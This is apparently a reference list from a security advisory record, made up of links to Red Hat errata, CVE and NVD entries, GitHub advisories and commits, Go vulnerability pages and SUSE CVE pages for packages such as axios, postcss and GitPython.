github.com/ai/nanoid
access.redhat.com/errata/RHSA-2026:48758
access.redhat.com/security/cve/CVE-2026-62995
access.redhat.com/security/updates/classification
images.redhat.com
access.redhat.com/security/cve/CVE-2026-67314
access.redhat.com/security/cve/CVE-2026-67313
access.redhat.com/security/cve/CVE-2026-67321
access.redhat.com/security/cve/CVE-2026-67312
access.redhat.com/security/cve/CVE-2026-67320
access.redhat.com/security/cve/CVE-2026-73086
access.redhat.com/security/cve/CVE-2026-27459
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_48758.json
bugzilla.redhat.com/show_bug.cgi?id=2448503
cve.org/CVERecord?id=CVE-2026-27459
nvd.nist.gov/vuln/detail/CVE-2026-27459
github.com/pyca/pyopenssl/blob/358cbf29c4e364c59930e53a270116249581eaa3/CHANGELOG.rst
github.com/pyca/pyopenssl/commit/57f09bb4bb051d3bc2a1abd36e9525313d5cd408
github.com/pyca/pyopenssl/security/advisories/GHSA-5pwr-322w-8jr4
bugzilla.redhat.com/show_bug.cgi?id=2508524
cve.org/CVERecord?id=CVE-2026-62995
nvd.nist.gov/vuln/detail/CVE-2026-62995
github.com/authlib/joserfc/security/advisories/GHSA-5jhw-7jv7-qcqq
bugzilla.redhat.com/show_bug.cgi?id=2510007
cve.org/CVERecord?id=CVE-2026-67312
nvd.nist.gov/vuln/detail/CVE-2026-67312
github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72
vulncheck.com/advisories/axios-before-denial-of-service-via-formtojson
cve.org/CVERecord?id=CVE-2026-67313
bugzilla.redhat.com/show_bug.cgi?id=2510030
cve.org/CVERecord?id=CVE-2026-67314
nvd.nist.gov/vuln/detail/CVE-2026-67314
github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g
vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields
bugzilla.redhat.com/show_bug.cgi?id=2509993
cve.org/CVERecord?id=CVE-2026-67320
nvd.nist.gov/vuln/detail/CVE-2026-67320
github.com/axios/axios/commit/df53d7dd99b202fb194217abd127ae6a630e70dc
github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9
vulncheck.com/advisories/axios-before-prototype-pollution-via-node-http-adapter
bugzilla.redhat.com/show_bug.cgi?id=2510011
cve.org/CVERecord?id=CVE-2026-67321
nvd.nist.gov/vuln/detail/CVE-2026-67321
github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23
vulncheck.com/advisories/axios-before-denial-of-service-via-maxdepth-bypass
bugzilla.redhat.com/show_bug.cgi?id=2514175
cve.org/CVERecord?id=CVE-2026-73086
access.redhat.com/errata/RHSA-2026:50287
access.redhat.com/security/cve/CVE-2026-69153
access.redhat.com/security/cve/CVE-2026-72815
access.redhat.com/security/cve/CVE-2026-73646
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50287.json
bugzilla.redhat.com/show_bug.cgi?id=2510719
cve.org/CVERecord?id=CVE-2026-69153
nvd.nist.gov/vuln/detail/CVE-2026-69153
github.com/postcss/postcss/commit/7beca139e70f9075c6b19700fcb00dd8033e5da8
github.com/postcss/postcss/releases/tag/8.5.19
github.com/postcss/postcss/security/advisories/GHSA-fxqj-rqcc-2cmp
bugzilla.redhat.com/show_bug.cgi?id=2515988
cve.org/CVERecord?id=CVE-2026-72815
nvd.nist.gov/vuln/detail/CVE-2026-72815
github.com/go-chi/chi/security/advisories/GHSA-3fxj-6jh8-hvhx
vulncheck.com/advisories/go-chi-chi-ip-spoofing-via-x-forwarded-for-header
bugzilla.redhat.com/show_bug.cgi?id=2517456
cve.org/CVERecord?id=CVE-2026-73646
nvd.nist.gov/vuln/detail/CVE-2026-73646
github.com/postcss/postcss/commit/95663d3eb7ba26f4854dd19d3b4f4425760cf56c
github.com/postcss/postcss/releases/tag/8.5.18
access.redhat.com/errata/RHSA-2026:54412
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_54412.json
access.redhat.com/errata/RHSA-2026:54518
access.redhat.com/security/cve/CVE-2026-73088
access.redhat.com/security/cve/CVE-2026-73089
access.redhat.com/security/cve/CVE-2026-45819
access.redhat.com/security/cve/CVE-2026-16221
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_54518.json
bugzilla.redhat.com/show_bug.cgi?id=2502307
cve.org/CVERecord?id=CVE-2026-16221
nvd.nist.gov/vuln/detail/CVE-2026-16221
cna.openjsf.org/security-advisories.html
bugzilla.redhat.com/show_bug.cgi?id=2515240
cve.org/CVERecord?id=CVE-2026-45819
nvd.nist.gov/vuln/detail/CVE-2026-45819
npmjs.com/package/baseline-browser-mapping
bugzilla.redhat.com/show_bug.cgi?id=2514177
cve.org/CVERecord?id=CVE-2026-73088
nvd.nist.gov/vuln/detail/CVE-2026-73088
bugzilla.redhat.com/show_bug.cgi?id=2514195
cve.org/CVERecord?id=CVE-2026-73089
nvd.nist.gov/vuln/detail/CVE-2026-73089
access.redhat.com/errata/RHSA-2026:54520
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_54520.json
access.redhat.com/errata/RHSA-2026:71113
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6/whats_new-async_updates
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6
bugzilla.redhat.com/show_bug.cgi?id=2484204
bugzilla.redhat.com/show_bug.cgi?id=2490556
bugzilla.redhat.com/show_bug.cgi?id=2498122
bugzilla.redhat.com/show_bug.cgi?id=2508411
bugzilla.redhat.com/show_bug.cgi?id=2509975
bugzilla.redhat.com/show_bug.cgi?id=2509976
bugzilla.redhat.com/show_bug.cgi?id=2510021
bugzilla.redhat.com/show_bug.cgi?id=2512367
bugzilla.redhat.com/show_bug.cgi?id=2512368
bugzilla.redhat.com/show_bug.cgi?id=2512369
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_71113.json
access.redhat.com/security/cve/CVE-2026-12564
cve.org/CVERecord?id=CVE-2026-12564
nvd.nist.gov/vuln/detail/CVE-2026-12564
access.redhat.com/security/cve/CVE-2026-33818
cve.org/CVERecord?id=CVE-2026-33818
nvd.nist.gov/vuln/detail/CVE-2026-33818
go.dev/cl/814980
go.dev/issue/80405
groups.google.com/g/golang-announce/c/94pEornpRlI
pkg.go.dev/vuln/GO-2026-5972
cve.org/CVERecord?id=CVE-2026-42504
nvd.nist.gov/vuln/detail/CVE-2026-42504
go.dev/cl/774481
go.dev/issue/79217
groups.google.com/g/golang-announce/c/tKs3rmcBcKw
pkg.go.dev/vuln/GO-2026-5038
cve.org/CVERecord?id=CVE-2026-54284
nvd.nist.gov/vuln/detail/CVE-2026-54284
cve.org/CVERecord?id=CVE-2026-56853
nvd.nist.gov/vuln/detail/CVE-2026-56853
go.dev/cl/795540
go.dev/issue/80205
pkg.go.dev/vuln/GO-2026-6089
cve.org/CVERecord?id=CVE-2026-56858
nvd.nist.gov/vuln/detail/CVE-2026-56858
go.dev/cl/807100
go.dev/issue/80435
pkg.go.dev/vuln/GO-2026-6091
cve.org/CVERecord?id=CVE-2026-56859
nvd.nist.gov/vuln/detail/CVE-2026-56859
go.dev/cl/803320
go.dev/issue/80481
pkg.go.dev/vuln/GO-2026-6088
cve.org/CVERecord?id=CVE-2026-56860
nvd.nist.gov/vuln/detail/CVE-2026-56860
go.dev/cl/803681
go.dev/issue/80494
pkg.go.dev/vuln/GO-2026-6218
cve.org/CVERecord?id=CVE-2026-56862
nvd.nist.gov/vuln/detail/CVE-2026-56862
go.dev/cl/804261
go.dev/issue/80528
pkg.go.dev/vuln/GO-2026-6090
nvd.nist.gov/vuln/detail/CVE-2026-59869
vulncheck.com/advisories/nanoid-before-infinite-loop-via-negative-size-in-non-secure-module
vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-clone-from
vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options
vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation
vulncheck.com/advisories/dompurify-before-cross-site-scripting-via-in-place-hook
vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-tagreference-create
vulncheck.com/advisories/gitpython-before-3.1.60-remote-code-execution-via-git-directory-impersonation
vulncheck.com/advisories/gitpython-before-3.1.60-denial-of-service-via-redos
issues.redhat.com/browse/SAT-50183
issues.redhat.com/browse/SAT-50184
issues.redhat.com/browse/SAT-50185
issues.redhat.com/browse/SAT-50187
issues.redhat.com/browse/SAT-50584
issues.redhat.com/browse/SAT-50904
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_74503.json
projects.theforeman.org/issues/39701
ubuntu.com/security/CVE-2026-73086
suse.com/security/cve/CVE-2025-7783
suse.com/security/cve/CVE-2026-13149
suse.com/security/cve/CVE-2026-13676
suse.com/security/cve/CVE-2026-33245
suse.com/security/cve/CVE-2026-49356
suse.com/security/cve/CVE-2026-53550
suse.com/security/cve/CVE-2026-53632
suse.com/security/cve/CVE-2026-54466
suse.com/security/cve/CVE-2026-55602
suse.com/security/cve/CVE-2026-67313
suse.com/security/cve/CVE-2026-67315
suse.com/security/cve/CVE-2026-67317
suse.com/security/cve/CVE-2026-67319
suse.com/security/cve/CVE-2026-67321
suse.com/security/cve/CVE-2026-69153
suse.com/security/cve/CVE-2026-73086
suse.com/security/cve/CVE-2026-73088
suse.com/security/cve/CVE-2026-73089
suse.com/security/cve/CVE-2026-73650
suse.com/security/cve/CVE-2025-0914
suse.com/security/cve/CVE-2026-12143
suse.com/security/cve/CVE-2026-14257
suse.com/security/cve/CVE-2026-17535
Left out here: 367 references. The JSON record has them.